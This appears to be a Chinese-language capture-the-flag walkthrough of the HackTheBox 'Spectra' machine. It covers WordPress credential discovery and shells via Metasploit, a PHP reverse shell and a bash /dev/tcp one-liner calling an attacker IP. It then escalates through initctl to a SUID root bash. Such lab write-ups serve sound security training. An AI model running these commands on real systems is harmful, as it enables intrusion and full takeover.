Hackthebox - Spectra

靶场信息

靶场类型

信息搜集

使用nmap进行基本的端口扫描

nmap –A -sS -sC -sV 10.10.10.229

我们发现开启了22、80和3306端口

咱们访问80端口看一下

内容非常简单,咱们看一下源代码

发现会跳转到域名spectra.htb 咱们在hosts里添加该域名

vim /etc/hosts

10.10.10.229 spectra.htb www.spectra.htb

然后咱们访问一下试试

咱们可以看到这是一个wordpress的站点

到处点了一下似乎没有可用的东西,咱们看看另一个连接

建立数据连接错误,既然提示这个,又开启了3306端口,那么后面估计是一定会用到的,咱们先记录一下,后面很有可能会用到,然后把眼光放回第一个页面

咱们目前思路卡壳了,不知道做什么了,那就扫描一下目录吧,我这里使用dirbuster工具进行目录爆破吧

导入后按start启动扫描

扫描的同时我也在挨个看,发现/testing/目录下存在目录遍历漏洞,咱们进入看看

进来后发现又一些php文件,看文件名似乎还有配置文件,咱们挨个查看一下

在一圈文件查看下来后都没有看到什么有用的信息,但在文件wp-config.php.save的时候,点进去却是空白页面,但文件大小处却又明确显示是有内容的,这一点引起了我的注意

咱们看一下网页源代码

咱们居然在这找到了数据库的账号密码,看来运气还是不错的

db_name = dev

db_user = devtest

db_password = devteam01

漏洞利用

这里既然拿到了数据库账号密码,又开启了3306端口,咱们自然是尝试进行登录了

mysql –host 10.10.10.229 –user devtest –password devteam01 -D dev

但是这里却显示登录失败?不允许连接到这个数据库

嗯。。。看来果然没我想的那么简单啊,那么现在唯一用得到账号密码的,就只有wordpress了,咱们只能从这里继续入手了

http://spectra.htb/main/wp-login.php

咱们进行登录

直接使用之前获取到的数据库账号devtest进行登录却提示没有这个账号

看来果然没有我想的那么简单,我大意了,没有闪

好在这个时候,突然灵感从天而降,发现主页有一篇文章,最经典的一句“hello world”,but 咱们的重点不在这里,而是在发帖人,administrator

好家伙,这不就有用户名了嘛?而且同时咱们nmap没有识别出操作系统,看到这个就可以怀疑是windows了

咱们使用账户administrator 密码devteam01进行登录,成功进入后台

并且获取到wordpress的版本为5.4.2

拿到版本了,就可以使用已知漏洞进行攻击了

咱们这里有三种办法获得shell

第一种:

使用msf进行负载攻击

use exploit/unix/webapp/wp_admin_shell_upload

set USERNAME administrator

set PASSWORD devteam01

set TARGETURI /main

set rhosts 10.10.10.229

set lhost 10.10.14.135

exploit

nice 成功获取到一个shell

第二种:

修改404页面进行反弹shell

首先本地使用nc监听一个端口

nc -nvlp 5555

然后咱们登入到网站后台

修改404页面的源码

咱们插入恶意代码

下载地址

http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz

其中需要修改的内容

set_time_limit (0);

$VERSION = “1.0”;

$ip = ‘10.10.14.135’; // CHANGE THIS

$port = 5555; // CHANGE THIS

$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = ‘uname -a; w; id; /bin/sh -i’;

$daemon = 0;

$debug = 0;

然后点击保存

啊这,好像失败了,诸位等我稍稍研究一下

好了,经过测试,咱们将模板设置为Twenty Sevente就可以保存了

然后咱们访问404页面

http://spectra.htb/main/wp-content/themes/twentyseventeen/404.php

成功反弹回shell

第三种:

第三种就是利用插件上传的漏洞,然后使用msf来进行shell的接收,这个步骤咱们不如直接第一步了,有点多此一举,有兴趣的朋友可以自己进行研究

exploit地址

https://www.exploit-db.com/exploits/36374

msf设置

use exploit/unix/webapp/wp_slideshowgallery_upload

set rhosts 192.168.1.101

set targeturi /wordpress

exploit

exec(“ / bin / bash -c’bash -i>&/dev/tcp/10.0.0.1/8080 0>&1’”)

参考连接

https://www.hackingarticles.in/wordpress-reverse-shell/

权限提升

咱们首先使用python3获取一个更加稳定的shell

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

我们在翻找文件的时候,在opt目录下发现了一个autologin.conf.orig文件

cat查看后,发现是有个自动登录的脚本,指向了/etc/autologin

咱们过去看看

发现了一个passwd文件,咱们cat查看

得到了一个密码

SummerHereWeCome!!

经过测试并结合咱们找flag以及翻目录的时候得到的消息来看,似乎是用户katie的

正好开启了22端口,咱们使用ssh进行登录

ssh katie@10.10.10.229

成功登录

成功获得user权限的flag

使用sudo -l查看一下咱们的sudo权限

发现咱们可以执行/sbin/initctl

这个权限是查看咱们可编辑的服务

sudo initctl list

可编辑的服务挺多的,我就不全部截图了,然后咱们进行筛选查看

咱们在最后面看到一个名为test2的未运行且可编辑的服务,叫这个名字那就肯定不一般了,咱们look look,所有的服务都在/etc/init目录下

这么多test的服务,咱们就从test.conf开始look吧

cat /etc/init/test.conf

嗯。。。在这里正在运行一个nodejs的文件 nodetest.js 咱们也去look look

cat /srv/nodetest.js

咱们将恶意代码替换到test.conf里,然后执行进行提权吧,其实也可以更改nodetest.js的文件进行nc反弹并提权,但是好麻烦啊,我就给各位一个图,大家有兴趣的自己研究吧,我使用第二种办法,直接修改test.conf的内容吧

第一种:

第二种:

nano /etc/init/test.conf

执行如下命令即可提权

sudo /sbin/initctl start test

使用sudo权限启动test服务

ls -l /bin/bash

查看/bin/bash即可发现我们的SUID已经传递给root用户

/bin/bash -p

提权

提权成功

成功获得root权限的flag 完事儿收工睡觉